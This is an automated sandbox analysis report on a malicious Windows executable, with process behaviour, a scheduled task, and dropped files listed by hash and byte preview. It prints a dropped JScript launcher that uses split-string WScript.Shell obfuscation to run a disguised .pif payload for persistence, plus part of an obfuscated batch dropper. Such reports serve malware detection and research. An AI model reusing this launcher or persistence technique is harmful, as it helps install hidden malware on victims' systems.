Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal84.rans.evad.winEXE@28/49@1/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 98 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:58:42	API Interceptor	3527x Sleep call for process: Shopzilla.pif modified
11:58:46	API Interceptor	2784x Sleep call for process: MindTechPro360.pif modified
16:58:07	Task Scheduler	Run new task: MindTechPro360 path: wscript s>//B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Setup.exe	Get hash	malicious	Vidar	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	package1107.png.lnk	Get hash	malicious	XWorm	Browse
	ljwIPDSwFi.exe	Get hash	malicious	DarkGate, MailPassView, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	P8KA32mz7j.exe	Get hash	malicious	RedLine	Browse
	6wmPebfmfG.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Setup.exe	Get hash	malicious	Vidar	Browse
	75MwheiQ7I.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	package1107.png.lnk	Get hash	malicious	XWorm	Browse
	ljwIPDSwFi.exe	Get hash	malicious	DarkGate, MailPassView, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	P8KA32mz7j.exe	Get hash	malicious	RedLine	Browse
	6wmPebfmfG.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\TechMind360 Innovations Co\L

Download File

Process:	C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif
File Type:	data
Category:	dropped
Size (bytes):	1870510
Entropy (8bit):	7.999909718535495
Encrypted:	true
SSDEEP:	49152:7uottM3/K2AQPfHh/L21jiKo2FjI9M6+iCKwNMPv:1twXAo/hz212KoJu/iIsv
MD5:	0F0B22E9E46035CD5603184321DA09B3
SHA1:	19306DBE626F4C3276F2B918B7095D548FBF74C5
SHA-256:	5D7833100FF695C322B4DE2E6DA0E467AF2EA2755BB22D7E38D5AE59DEF8070C
SHA-512:	35528880E916D2414AD0F1AF944757A3370D043B36ADF12E45E0AEF2CA6E3EBC18151B31791DD34800BDF9E8A9A47668231A68A71A2E2841FBC640C144BC6F69
Malicious:	true
Preview:	....~....u.,F......j.. ....B4q.......b^..{.o..C..f.>....j.+....Y@.Q.oQN..mp..x....:#.,.4.#.7..`..z.\|+...3.8...AK.=q.5y.j.\..YV..D5v.:.m."....+y].........:..`....J.cOC.'.n.0..f...mK....h.....?..df..J....U..}..W.zl......1.3..?X....g?;.Y......%..fa~o.S..d..%.....);0.Z.7.}}.P..(`.lE7...dr.M.]..G.#...g..8<...>[.[.......eR./..om..L.1ef..>.D4.......).L... .....v...J .l...W.T.I..R.&..U...Vg.c"&.o.P..Rr....u.+.~.e..c.E....x.&^h.....-......;..g....Ze....+tN@..\|.Oc\..V...W_.B..A.U.....?.z.vy.h.q?..\|....h ..,.jm<...w.R..."R...E.....<.........e......)..t.c.QwmT....Q..!...3rE.V.z...?0.rmK.*.FN[.x......i\/.....wtIc.]....p....X~f.. '2.z...?.#.j..:..Z....X=4.Ela.W(.WM...T....l.0.B....Ee.EE.......#5F..D!..~.u....Lb...;.F....H.5.d.e...#\|..\|....~'.m...7.SD..H..~..}G...k(..Q&..G.#".{se.~...~.)7I./7u..F..5w.,&..9.....y.z...T3...ok..]..../U.R..WE.e.D...eKp..r..N....e!.H..#)(T..._0\|.^TP3.1..9-sC..<..mD.../.<"...b..%.WEZlS..5....%Q\|.j...?$.....)...M..R8

C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.881647496788254
Encrypted:	false
SSDEEP:	6:RiJuOybJHonwWDKaJkDvxosQBDNvnnVVwWDKaJkDvxosQBD4:YJeQjWaexos8DZnnvWaexos8D4
MD5:	2F882A56198FF5CEF671FB7C52AFE739
SHA1:	69F562727EBBBDD17E582A035E08AAF7AD76FB06
SHA-256:	6A89D34D849CD4957A32A9E30D01A14411DCCB06D2F51AA887711B82193323D0
SHA-512:	DEFB674290010BFC5AA143F9C9EB03DE8F3629C0B09821B5B0CA22C21EC8041E81BC586F5CE7EB089ED98C57D2932AFDC24A941A39AD7C49644F38F226A91CC1
Malicious:	true
Preview:	new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\TechMind360 Innovations Co\\MindTechPro360.pif\" \"C:\\Users\\user\\AppData\\Local\\TechMind360 Innovations Co\\L\"")

C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: package1107.png.lnk, Detection: malicious, Browse Filename: ljwIPDSwFi.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: P8KA32mz7j.exe, Detection: malicious, Browse Filename: 6wmPebfmfG.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	937776
Entropy (8bit):	6.777413141364669
Encrypted:	false
SSDEEP:	12288:FJV3REMvnCG22lhtjVoAYxQl+u13a/sVyaVeK56ORMkkOlPlNKlga4Umff2lRO:F3hEW3hlVodGl+gUKrMkzXa4P6RO
MD5:	B06E67F9767E5023892D9698703AD098
SHA1:	ACC07666F4C1D4461D3E1C263CF6A194A8DD1544
SHA-256:	8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
SHA-512:	7972C78ACEBDD86C57D879C12CB407120155A24A52FDA23DDB7D9E181DD59DAC1EB74F327817ADBC364D37C8DC704F8236F3539B4D3EE5A022814924A1616943
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: package1107.png.lnk, Detection: malicious, Browse Filename: ljwIPDSwFi.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: P8KA32mz7j.exe, Detection: malicious, Browse Filename: 6wmPebfmfG.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\812297\g

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	1870510
Entropy (8bit):	7.999909718535495
Encrypted:	true
SSDEEP:	49152:7uottM3/K2AQPfHh/L21jiKo2FjI9M6+iCKwNMPv:1twXAo/hz212KoJu/iIsv
MD5:	0F0B22E9E46035CD5603184321DA09B3
SHA1:	19306DBE626F4C3276F2B918B7095D548FBF74C5
SHA-256:	5D7833100FF695C322B4DE2E6DA0E467AF2EA2755BB22D7E38D5AE59DEF8070C
SHA-512:	35528880E916D2414AD0F1AF944757A3370D043B36ADF12E45E0AEF2CA6E3EBC18151B31791DD34800BDF9E8A9A47668231A68A71A2E2841FBC640C144BC6F69
Malicious:	true
Preview:	....~....u.,F......j.. ....B4q.......b^..{.o..C..f.>....j.+....Y@.Q.oQN..mp..x....:#.,.4.#.7..`..z.\|+...3.8...AK.=q.5y.j.\..YV..D5v.:.m."....+y].........:..`....J.cOC.'.n.0..f...mK....h.....?..df..J....U..}..W.zl......1.3..?X....g?;.Y......%..fa~o.S..d..%.....);0.Z.7.}}.P..(`.lE7...dr.M.]..G.#...g..8<...>[.[.......eR./..om..L.1ef..>.D4.......).L... .....v...J .l...W.T.I..R.&..U...Vg.c"&.o.P..Rr....u.+.~.e..c.E....x.&^h.....-......;..g....Ze....+tN@..\|.Oc\..V...W_.B..A.U.....?.z.vy.h.q?..\|....h ..,.jm<...w.R..."R...E.....<.........e......)..t.c.QwmT....Q..!...3rE.V.z...?0.rmK.*.FN[.x......i\/.....wtIc.]....p....X~f.. '2.z...?.#.j..:..Z....X=4.Ela.W(.WM...T....l.0.B....Ee.EE.......#5F..D!..~.u....Lb...;.F....H.5.d.e...#\|..\|....~'.m...7.SD..H..~..}G...k(..Q&..G.#".{se.~...~.)7I./7u..F..5w.,&..9.....y.z...T3...ok..]..../U.R..WE.e.D...eKp..r..N....e!.H..#)(T..._0\|.^TP3.1..9-sC..<..mD.../.<"...b..%.WEZlS..5....%Q\|.j...?$.....)...M..R8

C:\Users\user\AppData\Local\Temp\Acoustic

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	175104
Entropy (8bit):	7.999038609788727
Encrypted:	true
SSDEEP:	3072:1z5xKQwY8VkAdwY9MrIC/niZk/4O99tH//SDgGXI3iYkwBvUg52ZqVUSTfYq:hKQMV/wY9e98krtf/m9I3iSNB5O4USZ
MD5:	09E2FD2D8BC6F547CEDFEB5A6479159A
SHA1:	6E2C74E6EB88CC077711EDF6DA915E8DBA0924E6
SHA-256:	38565848421A4E6D46FA86322353BC97DC6D95C3851F844A4DF846F09D0F12FE
SHA-512:	1CBED330E7C10EEFD6A67CE6168726AC728FF59B49666DC7F24BF69F2778C60211E2E3E3C95B0AF6AEFC5CA8E5FC25B10E59B2CE672315648F55091CBEAB3553
Malicious:	true
Preview:	.y$U.3B.5...6!...?R........\|........'..8-.T..Gv.....t[2......<.H..4..r....@..%..z.......?U&.w...\|..$..d.J.cByj~..U.!p.....\..B!.E.....j./....K<.......d.].K..Uh.+e?z....e6YA0.E,u.4[..w....q..../.....js]...)h7...}.........D..@.^7.Q.4\|I.......5i..#8n..N}....@.vZ.UI.......X.o.7".w/}..g\|.a.~_V.Y`.....x.PB2.X.e.xyn...W..+........y........yd'....J....~...l{..Z....2z.tg....I.c!d......V...l.lV>.X.a.......V...`.o.q.......`#.&.Cle5.,..K..s\...I...dl^....."{."..x#...o.x..-A....Tt...._.U..>0f.C...5v..~.s.R..a.A.#.....%7.@......K......1~.T..H.......g....=.p0'...oq+.&Xi...$.....G@K...?..e6.J.[.,...a.+.z...h...L..hG...2...e.{\.13...Z..M.Vz...)..>T........>..oi)4....6..^A2G.pcWp.....N..+M.PmT....".c...e......z4.[.....Y3[...SZ..%.K...&.AQ.......Q......A.dZ....H..G...A#.9.:...6.^.F..u{.e..Mq.8..."{.......$..D.:C.SH....k....G....f.h..QoG...J....0.mQg.{.....4=....j.GS.hW.....'....6DjF.Eb[}.f.......T.........2...3$...b..F..S.DU.^5bwb..L...........

C:\Users\user\AppData\Local\Temp\After

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	6.513475428211949
Encrypted:	false
SSDEEP:	384:3lwxFwfydtw4QGE2v9fwz3AwstdBx3auBxw6eY:ViFwfGW43E2lfwMwstd7FBZx
MD5:	21637A923846FFA2C94BC138D834E72C
SHA1:	C3BF7CF1359FA0AC0491E84ACF343511BD7450DB
SHA-256:	525A84A7D19A08132883B275B9CF4DF2C5730C0935900F4C2D50FB4C224BE7D3
SHA-512:	A185C99150B6A1FE7B1AFEE6196B00332387F6870DFBA7BF094E1B90287FBACAC967045302B668520F3ADA43AB777834BD9BA8705500CB3013E213926A8A9F89
Malicious:	false
Preview:	...t<..............4..IL..u.....E...F.j.h.....F.P.........F..U..M.G.}.E.@.E....U.....IL..=.QL.....IL......;.s$f.A.......Y..a$.f.A%...Y8.Y4..@.M...F.u.M......j.[3..}...............5.IL..u.>.t.9.t...F....F......F....u.j.X...G........P..d.I..E...tL..tHP....I...t=.M..%.......u...F..@.....u...F....F.j.h.....F.P.........F.....F..@.F....@bL...t.....X.G.=....]......3......j......Y.j.h..K..n...3.].u....u..P......}.....................;5.QL........................IL...D8....u....... ..jV.....Y.e......IL..D8..t..u..u.V.^.......................... .....}..E.............(.u..}.V.Y...Y.................J...........U.......?...P.K.3.E...D.....E..M.V3...8...W3...0.....@...9u.u.3........u......!0.[...................................(...S....IL...$....\.$.......t....u+.E....u.....!0....................8....D.. t.j.j.j.P.p>.......8........Y....P.....(.....$.......IL..D.....2....!...3.@l9...........P..(........<.....$.......IL..4.....I.........9.<...t.............I...0...3.!

C:\Users\user\AppData\Local\Temp\Almost

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	168960
Entropy (8bit):	7.99894390583128
Encrypted:	true
SSDEEP:	3072:xjpeF0dzBma2csog356vFWFwCjq0gOwVVaVmty74jT/savMH+vvRAPryOeOUJN8k:xjpS452bog3EI2CWROesVmt3T/VvMevt
MD5:	2140E91DD200A126F7C6B11DC54538EB
SHA1:	0CC5483090145F8A5DEA2E03837A42D54C0B82A5
SHA-256:	1E9F4820BDA924B37EFD9D56F9129A28292D37E28786E07A9D869376A092B64B
SHA-512:	55D0DC89662CFF04821CBCA9B0C8468A261A39299E586C21F0A33665ADF73ACA7EE0A14E5CD893F149FB06C065225A54A4119A504A81BE5EFAC3632D426FD923
Malicious:	true
Preview:	Z<].GmQ...g.......`..R..;e....:O.d...$:-.O.......L..o..>....J4..m."..Q.!s.....5. .l.pn....O.....7#HEm.+..y.[#97.J.g.^a.Gfa[.Z....@...,G.....L..S.$-'......br.,...e..5....tv.B.mCL.3...<q.q@SN...WK...mIqQ.~..l/..Ymn.{..X._..[..&.>..'.....E..k...}.t.\|).2YJ..h>6....@.Sh%.X...,.M.;.....o..Z..@."z...y.%L5l..@...v.F....(kL.......$...!^m....!LV.......u.(...._ ...."..48.$....v.`.'.pc..l.=...B..]........g.....<.8./.. B..`.....u.S.......q....t..<..i...~'W... K....aL.z){&.AYh%. .....?.....<..GN...Z....~7..+........d.......).V.u..a.Yk.1V..u...s...k;Z9..b../e.oLVd.,.1\...ly..2<.. ..9....,.P.%...%...^.~!.?Mg%G....\|....p(...A#..q...$r..-....7c.........7..FO}\n$.!h..$y...-!....c..[...`;.........V..}\S`...W.jA..O.@(.x9..+...R.C.."....E.Z..m..n...C.9....Wd.....A....=7.5O.*.A.......g.......QR....qN..."..3.......L.LiODB.L..../r..d9.d.&.;".M....}`..>EK.N.....'..{)...O.g?.p...v..s..P.G.b...Iw..M...U...Y..4C...x....8R..h`.M..@..2.c...YK.{._.m~\I...

C:\Users\user\AppData\Local\Temp\Anticipated

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	6.664047309777273
Encrypted:	false
SSDEEP:	1536:3itgXKUvl8UTcyzJW784Lle+1X/tcATs3Q:SuXtvrhzU78Gle6Ptc+s3Q
MD5:	3E4BDFEC2576D42D0FC8CCC2FC881357
SHA1:	22397318970F53716FC57A8E016CC39178E9F10A
SHA-256:	1D514F8D3E64893E12FD4CFC1A49646F19FE093677298964705495AB7E62D60F
SHA-512:	2D00F8C39227F663F7C24370035747053E8F6C73353C35EE70F98D745EB36E3ED08358F05AC9DFC840A4D6B94583330A09741E36F6D7EC9F5B4C73C4362A36D6
Malicious:	false
Preview:	I...^]...U..f.E...dSV3.Wf...u..E..@...t...S....f...uP.E.SSj..@.PSS....I..E...3..j.Z.........Q.Q...YW..3.Vj..u.PP..V..x.I.V......Y.Qf...u..E..p.V..x.I.V......I..3f..Hu-.u..}.j(.E.P.v..E.P......H.I...t..E.P..x.I..._^..[..]...U..f.E...PS3.Vf...u..E..@...t...S....f...uT.E.WSS.@.j...PSS....I..E...3..j.Z.........Q.v-..YW..3.Vj..u.PP..V..x.I.V....-..Y_.Hf...u..E..@..0V..x.I.V......I..(f..Hu".E..M.j(Q.p...H.I...t..E.P..x.I...^..[..]...U..VW.}.W.2...W....\.I.j.Xf....w._^]...U..S.]..u.............M.f.......f;.......VW.u.....I...3.j.Z.F..........Q.,..Y.u...W....I.3.3.f..w..f9.tA..f.8:t.F..wf9.u....G.h.K...pP..4.I...u.......3.Wf..w.Z....M.f..W.,..Y_^[]...U..M.V3...f91t,SWj,[j..._9u.t.f9.u.f.8..f98u.f..B..Qf90u._[^]...U..E..H...t..u....u..u..u..u.Q.P.....@..]...U..E..H...t..u....u..u.Q.P.....@..]...U..E..H...t..u...Q.P.....@..]...U.....E...\SVW..uQ.E..tA.E..x..u..u ..t.V..\.I.j.Xf...E..@..F.3..~.........t.........j.........`....U.3.9z...M....M.k...B..I..L$(.\$$;L.0u...t$..........t

C:\Users\user\AppData\Local\Temp\Anyone

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1797), with CRLF line terminators
Category:	dropped
Size (bytes):	29388
Entropy (8bit):	5.02051729482519
Encrypted:	false
SSDEEP:	768:zoMoPn45zXylsJlFD7B8DazeeD3IXZJdSrQRLPX932:cMoP4UlelJnqZJdSW32
MD5:	B2CFAF4AAC73F87113653D5EA8757631
SHA1:	0E5585A9B6A7A04E37CEDC1CDA6827F81D3F8687
SHA-256:	EC2838EC67B6B6B4E46D2D9450E89FA5C8C268876D09ED40CC9DF2C57CA4F157
SHA-512:	A62C9C31D720B2D710C799732A0F8BC45EB5233F38A0ADD244623294B09EC8335FE815B24FFDF03A984D522E5E623416948C7D2B511D8F3A49CE140E107C2068
Malicious:	false
Preview:	Set Reflections=m..TXLRaise ..aefzPoverty Thong ..XwXnSick Previously Eastern Activities Robin ..IsaAllah Sister ..QtIcFilename ..Set Discover=R..ppKEarnings Former Eco Kg Penny ..bjsQUrl Villa Minneapolis Assembled Naples Wound ..gCzSFact Lung York Newer Copying Drinking Expedia Lb ..dhEngaging Apartment ..ApaCDist Baghdad Iraqi Automation Russia ..GATransferred Celebrate Cambodia ..Set Hood=e..XIjhAcoustic Example Kijiji Orchestra Productive Guidance Restoration Marvel Broadcast ..tlRMarketing Digest Atomic Tue ..qHQlCoast Call ..NtVSBoob Msgstr Jump Var Mozilla Sri Functioning Gardening Indiana ..xVVaries Ee Associated Account Productions Therapy Reasonable Hindu ..dpEssential Inputs ..IqbMaintained Cartoon ..hTPodcast Critics Ment Indeed Memory Melissa ..Set Ieee=d..kRJGotta Ag Buffalo Logan Stronger Donate Encouraged ..gxPLOs Complex Garcia Proceeding ..wpcwCnn Webmaster Pretty Restriction Replaced Singer Wallace ..MYAuthorization Combo Hide ..jZEH Souls Resulted Reasoning Bright

C:\Users\user\AppData\Local\Temp\Anyone.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1797), with CRLF line terminators
Category:	dropped
Size (bytes):	29388
Entropy (8bit):	5.02051729482519
Encrypted:	false
SSDEEP:	768:zoMoPn45zXylsJlFD7B8DazeeD3IXZJdSrQRLPX932:cMoP4UlelJnqZJdSW32
MD5:	B2CFAF4AAC73F87113653D5EA8757631
SHA1:	0E5585A9B6A7A04E37CEDC1CDA6827F81D3F8687
SHA-256:	EC2838EC67B6B6B4E46D2D9450E89FA5C8C268876D09ED40CC9DF2C57CA4F157
SHA-512:	A62C9C31D720B2D710C799732A0F8BC45EB5233F38A0ADD244623294B09EC8335FE815B24FFDF03A984D522E5E623416948C7D2B511D8F3A49CE140E107C2068
Malicious:	false
Preview:	Set Reflections=m..TXLRaise ..aefzPoverty Thong ..XwXnSick Previously Eastern Activities Robin ..IsaAllah Sister ..QtIcFilename ..Set Discover=R..ppKEarnings Former Eco Kg Penny ..bjsQUrl Villa Minneapolis Assembled Naples Wound ..gCzSFact Lung York Newer Copying Drinking Expedia Lb ..dhEngaging Apartment ..ApaCDist Baghdad Iraqi Automation Russia ..GATransferred Celebrate Cambodia ..Set Hood=e..XIjhAcoustic Example Kijiji Orchestra Productive Guidance Restoration Marvel Broadcast ..tlRMarketing Digest Atomic Tue ..qHQlCoast Call ..NtVSBoob Msgstr Jump Var Mozilla Sri Functioning Gardening Indiana ..xVVaries Ee Associated Account Productions Therapy Reasonable Hindu ..dpEssential Inputs ..IqbMaintained Cartoon ..hTPodcast Critics Ment Indeed Memory Melissa ..Set Ieee=d..kRJGotta Ag Buffalo Logan Stronger Donate Encouraged ..gxPLOs Complex Garcia Proceeding ..wpcwCnn Webmaster Pretty Restriction Replaced Singer Wallace ..MYAuthorization Combo Hide ..jZEH Souls Resulted Reasoning Bright

C:\Users\user\AppData\Local\Temp\Bb

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	198656
Entropy (8bit):	7.999242026241879
Encrypted:	true
SSDEEP:	6144:GDfcquc0KXowzAptg0farVFjuI2WowwIEkWQzVyYR:cSwz30yCI2RYZyYR
MD5:	5F3CFBF4470EB496F8024C3BBD3DD6E8
SHA1:	3C9005A1C835997AC4563B02B28893258FA44CAD
SHA-256:	2A3DA06C81D2C53D1DAEC0A8A5AA1C64CEF52D4FF533C794E02E89D8ADA2F082
SHA-512:	4E119F54491513AAB186BA1839D8A25E4234B17310508B1AD09CFAF0C92E0C68A95B697F49D70B0F1DE6562774A6BD7A7F89C827F157C99E71D856A2BB81E8FD
Malicious:	true
Preview:	...=..q...Pp.g..=.e..<\|........]n#..5....v....I..&.....o<e.M... 2C....2.......4.5%......Q....:{....E.q..Z3.fr...e.Rq5@.\...&....{.G.y.v.[..".}.[.....D.\|C...?-.F.....b.}J..97.KUG D........hh}0.t.zI.b..P.h.....".a.N..L..QB.j..C.vf.}c..c.......t..a...9....h..9.."..g.g.D..?<~b.a....,..t.......B...(.4E.:Rx..E..\|......U.3........o.i.O.h.V4:..z'F.[k.3.......%....o.....T..Z..0>..'.M......_......t..rF_...\|...6C".....C.K$.d{....i.a..F.^mf...Q./.<...-.]W.o.Hirh$.a..~....r.T.:.............(..PJ6\|.qb._./.E.:....KM..3JV..<.AV....K..6..;....e...g..aQ...(..1..m.+.Sn.....-.q....Y.:BD.....b...!H.'Y.....!..F...OS.z......G.L.g....6t.H\....d.gWv...l..\|4.J.BW#..h......Qo..D.LJG.>._...&.....{W <k]>!_..=......0{.WGRq.M......l......]6n..za....eS.6}.:p/..^....NQ..n)......\>@M.F...l..e.G)J.......D&.T.ac..-....D..+.B_\|...T...5#R.zT..9G.~..c....+S......@...........I7.9H...`.7b.\|w'..'..N^..(?.S.+'....I.M]....}*..~fV.y...2.....4..._.mu:.Kh....z<.....S.T.

C:\Users\user\AppData\Local\Temp\Bee

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.9961421393381
Encrypted:	true
SSDEEP:	768:oARRwm8z64/B2iay3eIAiS2yOu2kZN7qmgDXBF7PNsJ019kk/pH7cDkJA:pCm8f27y3942dkZN7qmYBxPNsJc1hQkG
MD5:	EA6F73223534C1E0F965521FD8379B6E
SHA1:	309DF2C205956373BE3D46F09C9806AC77AD1BC1
SHA-256:	BFEC273A032E4FB30681CAEF31B7EA466165518E7F5CB917A159F1B1B88D60D8
SHA-512:	2843CD24B337D907D220913E701278764CDD17BDBB8DFB47EE0EBADEF9075F502160E9EB39105C133DFD69EE556C382AD00653D3F565D97B2563E1921DD83AEA
Malicious:	true
Preview:	.n.Y....#..e.........:.#K.....wN...M.......O....Hf..{a(Q.Y\k....Qc...\|...o..7'...g..6..(R.mML..h.>.H...(.}5..h..@..2...8~Me.0...82.u.j+9..z... ...vZE1[.......uI8..aI-.LP.....j.-......C...$V\|.........m....\.M=.&p..@.../o+.X'..=.w..c....'W.2!.{[\.E=.#...q..O..6-.h;.3..te........b...+$..F.....@...5....9.d.B..B'g.z.3@.Z.;.L,,..Cd...Y......zL.l(.H."...<.<0..\|.2&;...Tje..8z9.,D<..k.B..._....F....Ly..E....A.9b..=.....2.J.[...P....4%`U..q.).....;{...g..;.K{.S.....-.x6....y.m;...U..-.....%<.k.q...%c..<....Y)$.S..F....nA...g]9....C..'.<.AL.l.d.yqg.\|......=..:..../.=.nr._v.cWM..y.r7l4...nf...3.T[.....R^..6.r.bn&1^.I....@...^A/.W.._......7h.>..R...w...}1.....5..[.V....3~..Z...2....S.K!q...k.,J..*....UQ.o......)^.w9.....G.6D.....s).....cI:7....7.x.ks.wc4?.!F...5....'y+.ekJ..9.../\...a..O.D.........c'D..:&.....~..Q.R\V'.....n...t.u...my.C...@..$..c#.&7.Gn...L..@.H$~1.&..#.#...S.j...?...~.s...kDjt.vn...9.c.U...Wh..S;.QwD)%.K.q.u...Q...J

C:\Users\user\AppData\Local\Temp\Blessed

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	6.055961306445814
Encrypted:	false
SSDEEP:	768:FRGrkx3zN3AFR97T98+sDkXLAlMoLVNIo8DJWxWWbP75qcaTlKWzhQVNsbSSkLQl:6YNB3OFTR7bAlHL/4aj5Vf7gJ
MD5:	8C4D5E5B6681D53903F7E43F5E829DB5
SHA1:	DD3F2E0AC13311D57FB75B52099408C0B73CD887
SHA-256:	4F454D31A163E24A0D3881BA15B7AF11677D13AA80A8E46BE391D0261590B084
SHA-512:	EB44871E400A7EB6769B6968BF24FBEACBB81D6D2B39B1A101FFD4E123170348D2298B41638F976A1A840AB17DF1F9A67639B420DA144C8E0EFDE8B4D7C8B479
Malicious:	false
Preview:	..D$.@.D$.;.\|.D$...u..M..D$.P.v...E..@....x..u....6j....t.Q...ff...L$...D.._^3.[..]...3..8...U....SVW.}.....e...M.]..w..].]..].].......x.....v..G..H..*w...E....v..G..H...w......v..O..I...w...E....v..O..I...v...E...v..O..I...v...E....v..O..I...v...E.O..1....s...u..N..u.S.u..u..u..u..1..R.........w...u....!t...>_.F.....3.^[..]...U...u..u.j..z...]...U..E.VW.@....Rv..P..gL...V...u.......s...>3._.F.....^]...U....SV.u.W.....}..F..}.}..}..H...v......rw...~.....w...~....%w...~.....w...~....7w...~..v..F..H...u....~..v..F..H..u.....u..V..u..u.J..u..2SW.u..P...u..P.X...u.......s...>_.F.....3.^[..]...U..V.u.3.W.~..w8.N.j.j.P..j.j..@u..Pj..OT...u.......r...>3._.F.....^]....F..H..>....U...8SV.u.3.W.M..]..F..x........rv..j.X.E...q...O....E.A..E.A..E..A..M.E......E.A..E.A..E..A..E....E...t.....M.E...A...E...uZ.}..E.P....w.......v...~....wF.N.P.E.P...\t..P."S...u.......q..3..>@.F..M...@.._^..[..]....M.